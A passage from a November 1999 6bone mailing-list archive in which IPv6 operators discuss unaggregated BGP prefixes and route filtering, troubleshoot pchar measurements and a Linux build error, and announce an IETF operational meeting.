    Hop char:          rtt = 0.502937 ms, bw = 3498.514557 Kbps
    Partial queueing:  avg = 0.000084 ms (36 bytes)
 1: 3ffe:501:4819:8000:200:f8ff:fe04:5469 (3ffe:501:4819:8000:200:f8ff:fe04:5469)
    Partial loss:      194 / 1440 (13%)
    Partial char:      rtt = 22.162998 ms, (b = 0.015425 ms/B), r2 = 0.989061
                       stddev rtt = 0.179215, stddev b = 0.000267
    Hop char:          rtt = 21.660061 ms, bw = 608.906665 Kbps
    Partial queueing:  avg = 0.005603 ms (363 bytes)
 2: 3ffe:501:0:4800:21:6a39:6174:3 (paradise.karigome.wide.ad.jp)
    Partial loss:      192 / 1440 (13%)
    Partial char:      rtt = 26.774703 ms, (b = 0.025138 ms/B), r2 = 0.996783
                       stddev rtt = 0.157757, stddev b = 0.000235
    Hop char:          rtt = 4.611704 ms, bw = 823.676532 Kbps
    Partial queueing:  avg = 0.003620 ms (144 bytes)
 3: 3ffe:501:0:1c01:200:f8ff:fe03:d9c0 (pc3.nezu.wide.ad.jp)
    Partial loss:      4 / 1440 (0%)
    Partial char:      rtt = 47.038458 ms, (b = 0.024740 ms/B), r2 = 0.996857
                       stddev rtt = 0.162686, stddev b = 0.000212
    Hop char:          rtt = 20.263755 ms, bw = -20116.530889 Kbps
    Partial queueing:  avg = 0.009824 ms (397 bytes)
 4: 3ffe:501:0:801:290:27ff:fe61:b0dd (june.nara.wide.ad.jp)
    Path length:       4 hops
    Path char:         rtt = 47.038458 ms, r2 = 0.996857
    Path bottleneck:   608.906665 Kbps
    Path pipe:         3580 bytes
    Path queueing:     average = 0.009824 ms (397 bytes)

From 6bone-owner  Thu Nov  4 10:41:22 1999
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Date: Thu, 04 Nov 1999 10:34:12 -0800
To: "Robert J. Rockell" <rrockell@sprint.net>, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: bad routing
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Rob,

I certainly agree with most of what you say. Getting the 6bone backbone as
stable and production oriented as possible is very important and I will
continue to push and support efforts to make it so.

Hopefully at the IETF next week we can address this:

First, at the NGtrans meeting when we talk about your current HARDEN draft:

<http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-harden-02.txt>

Second, at the IPv6 Operational Topics meeting (day yet to be announced).


See you in DC, and thanks for pushing on this.

Bob


===
At 05:09 PM 11/3/99 -0500, Robert J. Rockell wrote:
>Forewarning: if you are going to be offended by seeing your own AS in this
>mail, do not read any further.
>
>
>I will use my own example, so as to not affend anyone, but I did want to
>mention something more regarding Ivano's mail about poorly aggregated
>prefixes.  Please consider the following excerpt from yesterday's report:
>
> SPRINT (3ffe:2900::/24) had 10 route(s)
>    3ffe:2900:1::18/126 path 1225 1849 5539 4556 ( -- 100%)
>    3ffe:2900:c:8::/64 path 2839 1103 786 1849 1225 4556 ( -- 100%)
>    3ffe:29a1::/64 path 1225 1103 786 1849 3251 1930 1251 4270 11008
>    3ffe:2900:1::/64 path 2839 1103 786 1849 1225 4556 ( -- 100%)
>    3ffe:2900:ffe3::/48 path 1225 1103 1200 8251 8731 8319 6175 7838 (USAA
>    3ffe:2900:5::/48 path 1225 1312 (LORE/VT -- 100%)
>    3ffe:29a1:c::/48 path 1225 1103 786 1849 3251 1930 1251 4270 11008
>    3ffe:2900:c005::/48 path 1225 1103 1200 8251 8731 8319 6175 11017 ( --
>    3ffe:2900:9::/48 path 1225 1103 1200 8251 8731 8319 6175 71 (HP -- 93%)
>    3ffe:29a2::/32 path 1225 1103 1200 8251 8731 8319 6175 11261 (ASCI --
>
>Looking at these, one may think "wow, Sprint sure is bad at aggregating it's
>prefixes".  However, if you look at this, one can see that SPrint's ASN
>(6175) is only in four of these BAD routes' AS path.
> 
>3ffe:29a2::/32
>3ffe:2900:9::/48
>3ffe:2900:c005::/48
>3ffe:2900:ffe3::/48 
>
>
>Now, as these do have Sprint in the AS path, we can see that the next AS in
>the path is both accepting these routes, and propogating them back up. AS
>8319 is a peer of Sprint, and Sprint is sending more specifics, and breaking
>aggregation rules.
>
>This has been fixed. However one may argue that AS8319 could filter more
>specifics from sprint, and help to alleviate this problem. I have adjusted
>my outbound filters to compensate.  SPRINT is at fault, but the upstream who
>allowed them shares blame (AS8319).
>
>The theory that filtering is bad because it does not show bugs in your
>system is no longer valid. If your IPv6 node is a single router, then you
>shoudl not be a pTLA, but a leaf node. One's internal network should suffice
>to test implementations. This way, it does not affect the rest of us.
>
>Every other route in this case does not even have Sprint in the AS path,
>which means someone else (usually the Sprint downstream) is leaking the route
>back up to their other upstreams.
>
>We have been trying to curtail this since orlando IETF.   
>
>It is the fault of the upstream provider to allow these announcements out,a
>nd the fault of EVERY PTLA in the AS path to allow these prefixes to be
>transitted. If you cannot filter, then give back your pTLA please.  This is a
>testbed, but this is not a lab.   You affect others when you break
>aggregation.  I will be glad to give you a transit connection, and some IPv6
>space to play.
>
>
>I will be contacting each of my downstreams who are leaking bad routes, and
>helping to get this fixed. If you have a lot of customers, please do the
>same. People who are on the bad rotuing report more than usually are not to
>blaim for most of the  bad rotues. It is their downstream customers other
>providers who have the problem. 
>
>MERIT: Woudl it be possible to jog this report to start blaiming the AS who
>is at fault, rather than the pTLA who cannot fix it?
>
>
>The worst offenders:
>
>AS 4555
>AS 7680
>AS 11008
>AS 2852
>
>IF you have these customers as direct downsteams, please filter them, for
>the sake of the rest of us.  
>
>Bob, perhaps we need to start actively policing this. I can see people on
>the bad routing report who have been there since I first heard of IPv6, and
>still refuse to filter. I will begin to take action on my pTLA. I encourage
>the rest of you to do so as well. Write to me personally if you do not nkow
>how/what to filter, and I can point you somewhere to learn.
>
>
>
>
>
>
>
>
>
>
>
>
>Thanks
>Rob Rockell
>Sprintlink Internet Service Center
>Operations Engineering
>703-689-6322
>1-800-724-3329, PIN 385-8833
>Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?


From 6bone-owner  Thu Nov  4 13:48:09 1999
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    <sumikawa@ebina.hitachi.co.jp>
Cc: bmah@california.sandia.gov, 6bone@ISI.EDU
Subject: Re: pchar for v6 
In-Reply-To: Your message of "Fri, 05 Nov 1999 02:35:26 +0900."
             <19991105023526P.sumikawa@ebina.hitachi.co.jp> 
From: bmah@CA.Sandia.GOV (Bruce A. Mah)
Reply-To: bmah@CA.Sandia.GOV
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--==_Exmh_-420695554P
Content-Type: text/plain; charset=us-ascii

If memory serves me right, SUMIKAWA Munechika wrote:
> > We, KAME developers, made port/pkgsrc of KAME-NetBSD and KAME-FreeBSD
> > for easily installation. It will be distributed at next snap on Monday.
> bmah> Cool.  Does this mean that pchar works on NetBSD?  On which platform(s)
> ?
> 
> Yes. We checked that it works on only KAME-NetBSD1.4.1-i386.

OK, I'll make a note of that, thanks!

> But, I got strage results in some situation. See #3 item in the
> following results. Pchar reports minus Band Width. What happens?

[snip]

> prince:~% root pchar -p ipv6udp june.v6.wide.ad.jp
> pchar to june.v6.wide.ad.jp (3ffe:501:0:801:290:27ff:fe61:b0dd) using UDP/IPv
> 6
> Packet size increments by 32 to 1500
> 46 test(s) per repetition
> 32 repetition(s) per hop
>  0:
>     Partial loss:      0 / 1440 (0%)
>     Partial char:      rtt = 0.502937 ms, (b = 0.002287 ms/B), r2 = 0.997345
>                        stddev rtt = 0.013819, stddev b = 0.000018
    Hop char:          rtt = 0.502937 ms, bw = 3498.514557 Kbps
>     Partial queueing:  avg = 0.000084 ms (36 bytes)
>  1: 3ffe:501:4819:8000:200:f8ff:fe04:5469 (3ffe:501:4819:8000:200:f8ff:fe04:5
> 469)
>     Partial loss:      194 / 1440 (13%)
>     Partial char:      rtt = 22.162998 ms, (b = 0.015425 ms/B), r2 = 0.989061
>                        stddev rtt = 0.179215, stddev b = 0.000267
>     Hop char:          rtt = 21.660061 ms, bw = 608.906665 Kbps
>     Partial queueing:  avg = 0.005603 ms (363 bytes)
>  2: 3ffe:501:0:4800:21:6a39:6174:3 (paradise.karigome.wide.ad.jp)
>     Partial loss:      192 / 1440 (13%)
>     Partial char:      rtt = 26.774703 ms, (b = 0.025138 ms/B), r2 = 0.996783
>                        stddev rtt = 0.157757, stddev b = 0.000235
>     Hop char:          rtt = 4.611704 ms, bw = 823.676532 Kbps
>     Partial queueing:  avg = 0.003620 ms (144 bytes)
>  3: 3ffe:501:0:1c01:200:f8ff:fe03:d9c0 (pc3.nezu.wide.ad.jp)
>     Partial loss:      4 / 1440 (0%)
>     Partial char:      rtt = 47.038458 ms, (b = 0.024740 ms/B), r2 = 0.996857
>                        stddev rtt = 0.162686, stddev b = 0.000212
>     Hop char:          rtt = 20.263755 ms, bw = -20116.530889 Kbps
>     Partial queueing:  avg = 0.009824 ms (397 bytes)
>  4: 3ffe:501:0:801:290:27ff:fe61:b0dd (june.nara.wide.ad.jp)
>     Path length:       4 hops
>     Path char:         rtt = 47.038458 ms, r2 = 0.996857
>     Path bottleneck:   608.906665 Kbps
>     Path pipe:         3580 bytes
>     Path queueing:     average = 0.009824 ms (397 bytes)

What's happening here is that pchar has estimated the incremental time
to send a byte to be 0.025138, three hops into the network.  Normally
you would expect this cost to increase for measurements going four hops
into the network.  However, this wasn't the case (to go four hops, the
incremental time per byte was 0.024740). The inverse of the difference
is the negative bandwidth estimate (-20 Mbps).

This can happen in cases where you have differences in processing speed 
of routers, lots of loss or transient changes, or just poor curve fits.
(Actually the least squares fit did pretty well, since the r2 parameter
is pretty close to 1.)

It isn't quite a bug, it's just a case that pchar doesn't know how to
handle.  I need to make a FAQ item on this...I've answered this question
three times (in different forums) today.  :-)

Cheers,

Bruce.

PS.  Actually if you could make up a tracefile with the -w option
and send it to me, that'd be interesting to see.  I can't promise it'll
lead to a fix, but you never know....







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From 6bone-owner  Thu Nov  4 14:44:56 1999
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Date: Thu, 04 Nov 1999 14:44:27 -0800
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From: Bob Fink <fink@es.net>
Subject: Re: IPv6 Operational Topics Meeting in DC
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At 09:50 AM 11/1/99 -0800, Bob Fink wrote:
>IPv6 operational folk,
>
>Marc Blanchet and I will be hosting a one-hour mid-day IPv6 Operational
>Topics Meeting during the Washington DC IETF week to discuss operational
>ipv6-related topics. 
...
>We will announce the exact time/day and the agenda the lists as soon as we
>can. Whatever the day, assume it will be in the  same room that the IPng
>will be in, which is currently the Regency. As the IPng meeting will be
>Wed. and Thurs. from 1-3, the IPv6 Operational meeting will end just before
>IPng starts, either Wed. or Thurs., depending on the day we choose.

The IPv6 Operational Topics Meeting is now scheduled for Thursday from
11:45 till 12:45 in the Regency room.

If the location changes I will let everyone know by email and by
announcement at the IPng Wed. meeting.


I still have time slots avaialable for a few more speakers. Please let me
know if you wish to speak. Marc and I will be around for the Sunday Social,
so you can speak with either of us there if you want.


Thanks,

Bob

From 6bone-owner  Thu Nov  4 16:13:42 1999
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From: Yuji Sekiya <sekiya@ISI.EDU>
To: 6bone@ISI.EDU
Subject: Re: Unaggregated prefixes in BGP4+ cloud
In-Reply-To: In your message of "Wed, 03 Nov 1999 11:54:48 +0100"
	<9187FF572943D211B28100805FC130FC011DA857@xrr1.cselt.it>
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At Wed, 03 Nov 1999 11:54:48 +0100,
Guardini Ivano <Ivano.Guardini@CSELT.IT> wrote:

Hi all,

> The ASs that are currently generating most of the unaggregated prefixes are:
> 
> - AS7680 with 22 unaggregated prefixes
> - AS4556 with 20 unaggregated prefixes

AS4665 is ours. We are ISI/LAP,3ffe:800::/24.
Sorry for poor aggregation. I will make filter for pTLA and sTLA.

But , our CISCO router looks something strange.

> show ipv6 route

B 2001:200::0/35 [20/6]
  via FE80::C8E:50C2:10, Tunnel5, 1w3d/never
B 2001:218::0/35 [20/4]
  via FE80::C8E:50C2:10, Tunnel5, 1w3d/never
B 2001:400::0/35 [20/6]
  via FE80::C8E:50C2:10, Tunnel5, 1w3d/never

All bgp routes have permanent expire time.
So, any bogus BGP routes have never exipred.
I don't understand whether our configuration is something wrong
or IOSv6 have a bug.
Does anyone have same experiences ?

> Unfortunately I was not able to locate contact persons for AS7680 and AS4556
> in that they seem not to be registered in the 6bone database. 

The contact person for AS4556 IPv6 network is me.
I apologize for our 6bone registry data is too old.
I will revise them soon.

-- 
SEKIYA Yuji	USC/ISI  Computer Networks Division 7
<sekiya@ISI.EDU / sekiya@sfc.wide.ad.jp / sekiya@v6.linux.or.jp>


From 6bone-owner  Thu Nov  4 17:50:35 1999
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Subject: Re: Unaggregated prefixes in BGP4+ cloud
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This is Yoshiaki Kitaguchi, one of administrators of AS7680

On October 22nd, we announced unexpected (unaggregated) IPv6
prefixes from AS7680 and we fixed the problem immediately.

We DO NOT announce unaggregated prefixes now.

But, it seems to be that these bogus routes remain in 6bone.
A certain AS might not withdraw these bogus route, and still
propagate them.

We are contacting maintainers of some networks, to solve the
problem.

Best regards,


Guardini Ivano wrote:
>Hi all,
>
>during the last two weeks the number of unaggregated IPv6 prefixes
>advertised 
>within the BGP4+ cloud is increased a lot (look at
>http://carmen.cselt.it/ipv6/bgp/odd-routes.html 
>and http://carmen.cselt.it/ipv6/bgp/graphs/index.html) and I think that this
>is a
>very undesirable thing that should be fixed especially if we really consider
>the 6bone as a
>gymnasium for production use of IPv6.
>The ASs that are currently generating most of the unaggregated prefixes are:
>
>- AS7680 with 22 unaggregated prefixes
>- AS4556 with 20 unaggregated prefixes
>- AS2852 (CESNET) with 8 unaggregated prefixes
>- AS11008 (CENTAURI-AR) with 8 unaggregated prefixes
>
>Unfortunately I was not able to locate contact persons for AS7680 and AS4556
>in that they
>seem not to be registered in the 6bone database. 
>The poor use of the 6bone registry is another critical issue that we should
>try
>to address especially for the sites participating in the BGP4+ cloud. For
>example
>I think that any pTLA or pNLA should make sure that any new downstream BGP4+
>peer
>is correctly registered in the 6bone database before setting up the
>connection.

---
Yoshiaki Kitaguchi <kita@isl.intec.co.jp>
INTEC Systems Laboratory Inc.

From 6bone-owner  Thu Nov  4 19:47:52 1999
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Date: Thu, 04 Nov 1999 19:47:42 -0800 (PST)
From: Warren Matthews <warrenm@SLAC.Stanford.EDU>
Subject: IPv6 Network Monitoring
To: 6bone@ISI.EDU
Cc: iepm@SLAC.Stanford.EDU
Reply-to: Warren Matthews <warrenm@SLAC.Stanford.EDU>
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I would like to monitor network performance to your IPv6 node.

The pingER project has been gathering data on internet end-to-end
performance for nearly 5 years and I am pleased to announce our monitoring
software now runs on IPv6. We would like to get the PingER-6 project off
the ground and gather some data.

All we want from you is the name of an IPv6 machine and your permission to
ping it. 

Details of PingER are available at http://www-iepm.slac.stanford.edu

--------------------------------------------------------------------------
Warren Matthews                       If ease of use was the highest goal,
Senior Network Specialist                  we'd all be driving golf carts.
Stanford Linear Accelerator Center.                          - Larry Wall.


From 6bone-owner  Thu Nov  4 22:21:27 1999
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From: Aljaz Tomaz    RDSI <aljaz@iskratel.si>
To: 6BONE List <6bone@ISI.EDU>
Subject: RE: pchar for v6 - problem
Date: Fri, 5 Nov 1999 07:19:29 +0100 
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Hi!
I have problem compiling pchar on Linux. I'm not a Linux expert so can
anyone help me. Here is an error:
c++ -g -O2 -I. -DSIZEOF_BOOL=1 -DSTDC_HEADERS=1 -DHAVE_UNISTD_H=1
-DHAVE_STRINGo
In file included from PctestIpv6Udp.h:40,
                 from main.cc:53:
PctestIpv6.h:77: field `targetAddress' has incomplete type
PctestIpv6.h:78: field `targetSocketAddress' has incomplete type
PctestIpv6.h:79: field `icmpDestSocketAddress' has incomplete type
PctestIpv6.h:80: field `icmpSourceSocketAddress' has incomplete type
main.cc: In function `int main(int, char **)':
main.cc:537: warning: implicit declaration of function `int random(...)'
make: *** [main.o] Error 1

Regrds,
Tomaz

From 6bone-owner  Fri Nov  5 00:21:50 1999
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From: tkuiper@tobit.com
Message-Id: <199911050821.AAA20454@tnt.isi.edu>
Subject: Novell Netware IPv6 Implementation
To: 6bone@ISI.EDU
Date: 05 Nov 99 08:21:44 UT
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--------------1DD2510B41FE
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Does anyone know about an IPv6 Implementation for Novell Netware?

I've send severall mails to Novell but all I get back is a pointer
to some web sites which say its "going to be" built in into Netware 5
(documents are from this March). However, I didn't find any IPv6 stuff
in the Netware 5 Version. Some real info would be welcome.

Regards
Thomas Kuiper

                                               
Thomas Kuiper        |   tkuiper@tobit.com   |                    __
Core Development     |   TK3680-RIPE         |                   /__/\
Tobit Software GmbH  |   ICQ #8345483        |  ask your server. \__\/


To: 6bone@ISI.EDU
Cc: ipng@sunroof.eng.sun.com
    ipv6@uni-muenster.de

--------------1DD2510B41FE--


From 6bone-owner  Fri Nov  5 05:21:23 1999
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Date: Fri, 05 Nov 1999 14:19:48 +0100
From: Guardini Ivano <Ivano.Guardini@CSELT.IT>
Subject: RE: odd routes report
To: "'itojun@iijlab.net'" <itojun@iijlab.net>
Cc: "6bone@isi.edu" <6bone@ISI.EDU>, Fasano Paolo <Paolo.Fasano@CSELT.IT>
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Itojun,

yesterday night I fixed the problem with the odd routes page.
Now the new prefixes (sTLA and 6to4) assigned by IANA and 
the Regional IRs are not marked any more as being invalid. Instead
they are now listed in a new web page which is linked on the
CSELT's Routing information home page 
(look at http://carmen.cselt.it/ipv6/bgp/index.html).

After the Washington DC IETF I'll distribute a new version 
of ASpath-tree including all the above changes.

Bye
Ivano

> ----------
> From: 	itojun@iijlab.net[SMTP:itojun@iijlab.net]
> Sent: 	Monday, November 01, 1999 11:30 AM
> To: 	ivano.guardini@cselt.it
> Cc: 	6bone@isi.edu
> Subject: 	odd routes report
> 
> 	http://carmen.cselt.it/ipv6/bgp/odd-routes.html
> 	lists sTLA routes (like 2001:200::/35) as invalid prefixes.
> 	Could you please update your software?
> 
> itojun
> 

From 6bone-owner  Fri Nov  5 08:41:11 1999
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Date: Fri, 5 Nov 1999 13:41:16 -0300 (ART)
From: "Marcelo M. Sosa Lugones" <marcelo@sosa.com.ar>
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To: 6bone@ISI.EDU
Subject: Re: bad routing (fwd)
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Hello,

this is the cc of a mail i sent to Rob Rockell.

On Thu, 4 Nov 1999, Marcelo M. Sosa Lugones wrote:

->Hello Robert,
->
->>  SPRINT (3ffe:2900::/24) had 10 route(s)
->>     3ffe:29a1::/64 path 1225 1103 786 1849 3251 1930 1251 4270 11008
->>     3ffe:29a1:c::/48 path 1225 1103 786 1849 3251 1930 1251 4270 11008
->> The worst offenders:
->> AS 11008
->
->I am the mantainer of AS11008 in the 6bone, and i stopped announcing those
->routes some time ago, when i changed uplink from Horacio Pe#a to Patricio
->Latini (10318), two weeks ago from now, i shutdownd my bgp session with
->4270 because the matainer went to germany and we didn't want to make test
->with zebra and ipv6 if both were not available, so we shutdown the bgp
->session, and now i see that they are still anounced in the 6bone, but our
->session is down, i removed him (4270) from my bgp and i am only running
->bgp with Patricio Latini of Fibertel (10318) and he aggregates me.
->I dont want to disturb the 6bone, but now i am interested in knowing how
->long ago did this routes started being propagated to investigate the
->cause.
->
->Thanks,
->Marcelo M. Sosa Lugones


From 6bone-owner  Fri Nov  5 12:55:25 1999
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From: "Patricio Latini" <platini@fibertel.com.ar>
To: "Robert J. Rockell" <rrockell@sprint.net>, <6bone@ISI.EDU>
Subject: Re: bad routing
Date: Fri, 5 Nov 1999 15:50:08 -0500
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I agree with you Robert the problem is not yours, the problem is of the
pTLAs that do not filter the upstreams from their sub TLAs and they inject a
lot of unagregatted prefixes in the backbone.
I think that some pTLAs should take more soriously their positiion in the
6bone and know that the stability of the entire 6 bone depens from all.

Thanks

Patricio Latini
Fibertel TCI2
Buenos Aires - Argentina
-----Original Message-----
From: Robert J. Rockell <rrockell@sprint.net>
To: 6bone@ISI.EDU <6bone@ISI.EDU>
Date: Thursday, November 04, 1999 2:10 AM
Subject: bad routing


>Forewarning: if you are going to be offended by seeing your own AS in this
>mail, do not read any further.
>
>
>I will use my own example, so as to not affend anyone, but I did want to
>mention something more regarding Ivano's mail about poorly aggregated
>prefixes.  Please consider the following excerpt from yesterday's report:
>
> SPRINT (3ffe:2900::/24) had 10 route(s)
>    3ffe:2900:1::18/126 path 1225 1849 5539 4556 ( -- 100%)
>    3ffe:2900:c:8::/64 path 2839 1103 786 1849 1225 4556 ( -- 100%)
>    3ffe:29a1::/64 path 1225 1103 786 1849 3251 1930 1251 4270 11008
>    3ffe:2900:1::/64 path 2839 1103 786 1849 1225 4556 ( -- 100%)
>    3ffe:2900:ffe3::/48 path 1225 1103 1200 8251 8731 8319 6175 7838 (USAA
>    3ffe:2900:5::/48 path 1225 1312 (LORE/VT -- 100%)
>    3ffe:29a1:c::/48 path 1225 1103 786 1849 3251 1930 1251 4270 11008
>    3ffe:2900:c005::/48 path 1225 1103 1200 8251 8731 8319 6175 11017 ( --
>    3ffe:2900:9::/48 path 1225 1103 1200 8251 8731 8319 6175 71 (HP -- 93%)
>    3ffe:29a2::/32 path 1225 1103 1200 8251 8731 8319 6175 11261 (ASCI --
>
>Looking at these, one may think "wow, Sprint sure is bad at aggregating
it's
>prefixes".  However, if you look at this, one can see that SPrint's ASN
>(6175) is only in four of these BAD routes' AS path.
>
>3ffe:29a2::/32
>3ffe:2900:9::/48
>3ffe:2900:c005::/48
>3ffe:2900:ffe3::/48
>
>
>Now, as these do have Sprint in the AS path, we can see that the next AS in
>the path is both accepting these routes, and propogating them back up. AS
>8319 is a peer of Sprint, and Sprint is sending more specifics, and
breaking
>aggregation rules.
>
>This has been fixed. However one may argue that AS8319 could filter more
>specifics from sprint, and help to alleviate this problem. I have adjusted
>my outbound filters to compensate.  SPRINT is at fault, but the upstream
who
>allowed them shares blame (AS8319).
>
>The theory that filtering is bad because it does not show bugs in your
>system is no longer valid. If your IPv6 node is a single router, then you
>shoudl not be a pTLA, but a leaf node. One's internal network should
suffice
>to test implementations. This way, it does not affect the rest of us.
>
>Every other route in this case does not even have Sprint in the AS path,
>which means someone else (usually the Sprint downstream) is leaking the
route
>back up to their other upstreams.
>
>We have been trying to curtail this since orlando IETF.
>
>It is the fault of the upstream provider to allow these announcements out,a
>nd the fault of EVERY PTLA in the AS path to allow these prefixes to be
>transitted. If you cannot filter, then give back your pTLA please.  This is
a
>testbed, but this is not a lab.   You affect others when you break
>aggregation.  I will be glad to give you a transit connection, and some
IPv6
>space to play.
>
>
>I will be contacting each of my downstreams who are leaking bad routes, and
>helping to get this fixed. If you have a lot of customers, please do the
>same. People who are on the bad rotuing report more than usually are not to
>blaim for most of the  bad rotues. It is their downstream customers other
>providers who have the problem.
>
>MERIT: Woudl it be possible to jog this report to start blaiming the AS who
>is at fault, rather than the pTLA who cannot fix it?
>
>
>The worst offenders:
>
>AS 4555
>AS 7680
>AS 11008
>AS 2852
>
>IF you have these customers as direct downsteams, please filter them, for
>the sake of the rest of us.
>
>Bob, perhaps we need to start actively policing this. I can see people on
>the bad routing report who have been there since I first heard of IPv6, and
>still refuse to filter. I will begin to take action on my pTLA. I encourage
>the rest of you to do so as well. Write to me personally if you do not nkow
>how/what to filter, and I can point you somewhere to learn.
>
>
>
>
>
>
>
>
>
>
>
>
>Thanks
>Rob Rockell
>Sprintlink Internet Service Center
>Operations Engineering
>703-689-6322
>1-800-724-3329, PIN 385-8833
>Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?
>


From 6bone-owner  Fri Nov  5 15:11:18 1999
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To: Aljaz Tomaz RDSI <aljaz@iskratel.si>
Cc: 6BONE List <6bone@ISI.EDU>
Subject: Re: pchar for v6 - problem 
In-Reply-To: Your message of "Fri, 05 Nov 1999 07:19:29 +0100."
             <7E8519F1A7C0D211B0D200A0C93AA60F3D28CC@ntmail.iskratel.si> 
From: bmah@CA.Sandia.GOV (Bruce A. Mah)
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If memory serves me right, Aljaz Tomaz RDSI wrote:

> I have problem compiling pchar on Linux. I'm not a Linux expert so can
> anyone help me. Here is an error:
> c++ -g -O2 -I. -DSIZEOF_BOOL=1 -DSTDC_HEADERS=1 -DHAVE_UNISTD_H=1
> -DHAVE_STRINGo
> In file included from PctestIpv6Udp.h:40,
>                  from main.cc:53:
> PctestIpv6.h:77: field `targetAddress' has incomplete type
> PctestIpv6.h:78: field `targetSocketAddress' has incomplete type
> PctestIpv6.h:79: field `icmpDestSocketAddress' has incomplete type
> PctestIpv6.h:80: field `icmpSourceSocketAddress' has incomplete type
> main.cc: In function `int main(int, char **)':
> main.cc:537: warning: implicit declaration of function `int random(...)'
> make: *** [main.o] Error 1

You need to give a little more information...like what version of Linux 
you're running and the options you gave to the configure script.

It sounds like the compile process isn't finding the definition for a
"struct sockaddr_in6".  Are you sure your kernel and libraries support
IPv6?

Caveat:  I've never tested pchar for IPv6 under Linux.

Bruce.




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From 6bone-owner  Fri Nov  5 19:58:06 1999
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: wierdness at cisco
To: 6bone@ISI.EDU
Date: Fri, 5 Nov 1999 19:58:02 -0800 (PST)
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Before the reaper culls the chaff, is there anyone at cisco who is aware
that the cisco mail gateway is -rejecting- about 20 registered cisco
email entries on the 6bone@isi.edu list?

-- 
"When in doubt, Twirl..."  -anon

From 6bone-owner  Sun Nov  7 10:10:17 1999
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Reply-To: "Arthur Harris" <harris@shawn.com>
From: "Arthur Harris" <harris@shawn.com>
To: <6bone@ISI.EDU>
Subject: Connecting to 6Bone.  
Date: Sun, 7 Nov 1999 12:52:06 -0500
Organization: Shawn Systems Inc.
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I am located in the US (Ashland, Massachusetts )with have dedicated IPV4
connection to the internet. This is a request to establish an IPV6-IPV4
tunnel with an other site in Massachusetts.

Thank you in advance,

Arthur Harris
harris@shawn.com


From 6bone-owner  Sun Nov  7 22:19:23 1999
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From: Aljaz Tomaz    RDSI <aljaz@iskratel.si>
To: "'bmah@CA.Sandia.GOV'" <bmah@CA.Sandia.GOV>
Cc: 6BONE List <6bone@ISI.EDU>
Subject: RE: pchar for v6 - problem 
Date: Mon, 8 Nov 1999 07:18:34 +0100 
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Hi!

> -----Original Message-----
> From: bmah@CA.Sandia.GOV [mailto:bmah@CA.Sandia.GOV]
> Sent: Saturday, November 06, 1999 12:11 AM
> To: Aljaz Tomaz RDSI
> Cc: 6BONE List
> Subject: Re: pchar for v6 - problem 
> 
> 
> If memory serves me right, Aljaz Tomaz RDSI wrote:
> 
> > I have problem compiling pchar on Linux. I'm not a Linux 
> expert so can
> > anyone help me. Here is an error:
> > c++ -g -O2 -I. -DSIZEOF_BOOL=1 -DSTDC_HEADERS=1 -DHAVE_UNISTD_H=1
> > -DHAVE_STRINGo
> > In file included from PctestIpv6Udp.h:40,
> >                  from main.cc:53:
> > PctestIpv6.h:77: field `targetAddress' has incomplete type
> > PctestIpv6.h:78: field `targetSocketAddress' has incomplete type
> > PctestIpv6.h:79: field `icmpDestSocketAddress' has incomplete type
> > PctestIpv6.h:80: field `icmpSourceSocketAddress' has incomplete type
> > main.cc: In function `int main(int, char **)':
> > main.cc:537: warning: implicit declaration of function `int 
> random(...)'
> > make: *** [main.o] Error 1
> 
> You need to give a little more information...like what 
> version of Linux 
> you're running and the options you gave to the configure script.
> 
I'm using kernel 2.2.1 with experminetal IPv6 support. Linux is my main
router to 6bone and provides stateles avtoconfiuration for IPv6 hosts, ...

./configure --with-ipv6


> It sounds like the compile process isn't finding the definition for a
> "struct sockaddr_in6".  Are you sure your kernel and libraries support
> IPv6?
> 
> Caveat:  I've never tested pchar for IPv6 under Linux.
> 
> Bruce.
> 
> 
> 
> 

From 6bone-owner  Mon Nov  8 08:50:51 1999
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To: Aljaz Tomaz RDSI <aljaz@iskratel.si>
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        6BONE List <6bone@ISI.EDU>
Subject: Re: pchar for v6 - problem 
In-Reply-To: Your message of "Mon, 08 Nov 1999 07:18:34 +0100."
             <7E8519F1A7C0D211B0D200A0C93AA60F3D28D4@ntmail.iskratel.si> 
From: bmah@CA.Sandia.GOV (Bruce A. Mah)
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If memory serves me right, Aljaz Tomaz RDSI wrote:

> > > I have problem compiling pchar on Linux. I'm not a Linux 
> > expert so can
> > > anyone help me. Here is an error:
> > > c++ -g -O2 -I. -DSIZEOF_BOOL=1 -DSTDC_HEADERS=1 -DHAVE_UNISTD_H=1
> > > -DHAVE_STRINGo
> > > In file included from PctestIpv6Udp.h:40,
> > >                  from main.cc:53:
> > > PctestIpv6.h:77: field `targetAddress' has incomplete type
> > > PctestIpv6.h:78: field `targetSocketAddress' has incomplete type
> > > PctestIpv6.h:79: field `icmpDestSocketAddress' has incomplete type
> > > PctestIpv6.h:80: field `icmpSourceSocketAddress' has incomplete type
> > > main.cc: In function `int main(int, char **)':
> > > main.cc:537: warning: implicit declaration of function `int 
> > random(...)'
> > > make: *** [main.o] Error 1
> > 
> > You need to give a little more information...like what 
> > version of Linux 
> > you're running and the options you gave to the configure script.
> > 
> I'm using kernel 2.2.1 with experminetal IPv6 support. Linux is my main
> router to 6bone and provides stateles avtoconfiuration for IPv6 hosts, ...
> 
> ./configure --with-ipv6

OK...if your IPv6 libraries are in the right place this shouldn't be a 
problem.

I wrote:

> > It sounds like the compile process isn't finding the definition for a
> > "struct sockaddr_in6".  Are you sure your kernel and libraries support
> > IPv6?

I think this might be your problem.  One of the Linux machines I test on
(RedHat 5.2 I think) doesn't have definitions for the sockaddr_in6 or
in6_addr structures.  Another one (heavily customized Debian?) *does* 
have them.  My guess is that your header files don't have the right 
structure definitions and may need updating to something that's more in 
line with RFC 2553 ("Basic Socket Interface Extensions for IPv6").

I'm more a daemon-type person than a penguin-type person, so I might not
be able to tell you much else that's useful.  Hope this helps at least a
little bit...

Bruce.



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From 6bone-owner  Mon Nov  8 22:44:46 1999
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Reply-To: <jason@jax-inc.com>
From: "Jason S. Bogin" <jason@jax-inc.com>
To: "6bone Mailer" <6bone@ISI.EDU>
Cc: "Paul Higbee" <phigbee@unf.edu>
Subject: New to the 6bone mailing list...
Date: Tue, 9 Nov 1999 01:49:54 -0500
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Hello everyone,

I am an undergraduate student (graduating this term, starting master's next
term) at the University of North Florida at the College of Computing
